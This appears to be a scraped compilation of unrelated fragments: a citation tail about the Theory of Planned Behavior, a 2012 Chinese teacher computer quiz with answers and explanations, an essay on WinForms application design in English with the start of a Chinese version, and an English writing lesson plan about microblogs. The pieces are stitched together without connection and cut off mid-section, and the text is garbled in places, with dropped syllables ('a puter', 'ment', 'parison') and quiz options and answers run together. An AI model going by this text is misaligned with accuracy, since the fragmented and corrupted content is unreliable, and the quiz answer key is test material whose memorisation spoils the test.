anizational behavior and human decision processes,50(2),179e211.Ajzen,I.(n.d).Constructing a TPB questionnaire.From Theory of Planned Behavior website./aizen/tpb.html/Accessed25.10.2015. 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2012年8月教师计算机水平考核试题(含答案及解析)566634

一、单选题（每题1分，共40分）1．微型计算机系统由硬件系统和( )组成。

A．软件系统 B．中央处理器 C．应用软件 D．操作系统[计算机系统由硬件系统和软件系统组成软件系统主要由系统软件和应用软件组成系统软件中最主要的是操作系统WIN95,WIN98,WINXP,WINDOWS2000,WIN7,UNIX,LINUX都是操作系统]2 张老师新买的U盘是1GB的，比汪老师的容量大一倍，那么汪老师的U盘是( )的。

A. 500MBB.512MBC.1GBD.2GB1B=8bit1KB=1024B1MB=1024KB1GB=1024MB3 下面各种硬件设备中，( )是输出设备。

A．键盘 B．摄像头C．显示器 D．硬盘计算机信息向外输出的设备是输出设备:显示器,打印机,绘图仪,音箱,耳机…4．二进制数包含( )这两个数字。

A．1，3 B．1,2 C．0,1 D．0，25．中央处理器的英文缩写为( )。

A．CAD B．CAU C．CPR D．CPU中央处理器包括运算器和控制器,缩写为CPU6．下列选项中，不属于计算机病毒特征的是( )。

A．破坏性 B．传染性 C．潜伏性D．免疫性7．按下( )组合键，可实现各种输入法之间的切换。

A. Ctrl+CB.Shift+DeleteC.Ctrl+EseD.Ctrl+ShiftCtrl+Space(空格)是切换中英文输入法Ctrl+Shift是在各种输入法间切换8 在Windows中，“剪贴板”实际上是( )的一个区域。

A．硬盘 B．软盘C．内存 D．高速缓存剪贴板是在内存中的,关机下次就没有了,内存的特性9 在“画图”软件中绘制一个正方形时，需按住( )键，同时拖动鼠标。

A. CtrlB.ShiftC.AltD.CapsLock在大多的绘图软件中,按住Shift可绘制正方形,正圆,水平、垂直线10．在Windows操作系统的“开始”菜单中，包括了该系统的( )功能。

winform程序设计与实践

winform程序设计与实践英文回答：WinForms is a popular framework for developing Windows desktop applications using the .NET framework. It providesa rich set of controls and components that allow developers to create user-friendly and visually appealing applications. In this answer, I will discuss the design and practices involved in developing a WinForms application.One important aspect of WinForms application design is the use of a well-organized and intuitive user interface. This involves placing controls such as buttons, text boxes, and labels in a logical and visually appealing manner. For example, if you are designing a form for user registration, you may want to place the text boxes for entering theuser's name, email, and password in a vertical layout, with labels next to each text box indicating what information should be entered.Another important practice in WinForms application design is the use of event-driven programming. WinForms applications respond to user actions, such as clicking a button or selecting an item from a drop-down list, by executing code associated with the corresponding event. For example, when a user clicks the "Submit" button on a registration form, the application may validate the entered data and then save it to a database.In addition to the user interface and event-driven programming, WinForms applications often involve dataaccess and manipulation. This can be done using various techniques, such as connecting to a database, reading and writing files, or consuming web services. For example, a WinForms application for managing customer information may need to retrieve data from a database and display it in a grid view, allowing the user to edit or delete records.To ensure the reliability and maintainability of a WinForms application, it is important to follow best practices such as modularization and separation of concerns. This involves breaking down the application into smaller,reusable components, each responsible for a specific task. For example, you may have separate classes for handling user input validation, data access, and business logic.Another important aspect of WinForms application design is error handling and exception management. It is important to anticipate and handle any potential errors or exceptions that may occur during the execution of the application. This can be done by using try-catch blocks to catch and handle exceptions, displaying meaningful error messages to the user, and logging any relevant information for troubleshooting purposes.In conclusion, designing and developing a WinForms application involves various practices and considerations. It is important to create a well-organized and intuitive user interface, use event-driven programming, handle data access and manipulation, follow best practices for modularization and separation of concerns, and handleerrors and exceptions effectively. By following these practices, you can create robust and user-friendly WinForms applications.中文回答：WinForms是使用.NET框架开发Windows桌面应用程序的流行框架。

高三英语写作课教案

A Teaching Plan of WritingI. Teaching Goals:1.Learn how to write an article about a hot topic--Microblog .2. Master the writing skills of making an outline for an article .3. Learn to work cooperatively with others.II. Teaching Important Points:1.Discuss the hot topic “Microblog”;2.Write an article about Microblog.III. Teaching Difficult Point:Work individually to write an article about Microblog.IV. Teaching Aids: CAI, a puterV. Teaching ProcedureStep 1 Pre-writingActivity 1 Warming-upT: Today , we’ll talk about a hot topic and then write it down. As we all know, a lot of new things have e out in 2012. Do you know what the year of 2012 is called?Ss: “微博年”。

T: Yes, the English for “微博” is “Microblog”. The hot topic we will talk and write about is Microblog. How much do you know about microblog? Can you answer the following questions?(PPT)1)What is the use of microblog?2)What are the advantages and disadvantages of microblog?3)What is your opinion about using microblog?Let’s have a discussion.Activity 2 DiscussionT: Now, the students in row 1,row 3 and row 5 turn around and join in your group to have a discussion.（Divide the students into 10 groups , with each group including 6 students）Everyone, you must talk in English, and each group leader, not only need you organize your group well, but also you need to take some notes of what your members talk about. Ss: Discuss in groups about 10 minutes.T: （During the discussion, join in them to express opinions or give some advice or offer some help when necessary.）Step 2 While-writingActivity 1 Making an outlineT: Ok. Since each group has discussed about microblog, now let’s write an article about it.Which factors should your article contain? Please make an outline . You can just use some key words or phrases to make your outline. It is not necessary for you to write down the whole sentences.Ss:Work individually to make an outline for their article at first. And then ask their partners to give them a hand.Such as some words’ usage, some phrases’choice.Activity 2 Making a draftT:Now , Please make a draft of your article. You need to write using the whole sentences to make your draft this time.Ss: Finish their draft by themselves.Step 3 Post-writingActivity 1 Individual workSs: Look through their own article to correct some obvious mistakes alone.Such as words’ spelling , verbs’ tense .Activity 2 Pair workSs: Exchange their articles with their partner and ask their partner to read their article to point out the mistakes.And at the same time they need to give each other some suggestions about writing such as : how to express the same meaning better.T: Join in the students to ment on their writing and give some students a brief ment.And then take photographs of some typical articles. Step 4 FeedbackActivity 1 Article- ShowT: Show some typical articles to the students and let them give mentsthe criteria.Activity 2 parisonT: Show the students the similar writing material and its full-mark model .(PPT)当今，微博在人们的日常生活中已经成为一种时尚，成为一种必不可少的交流工具。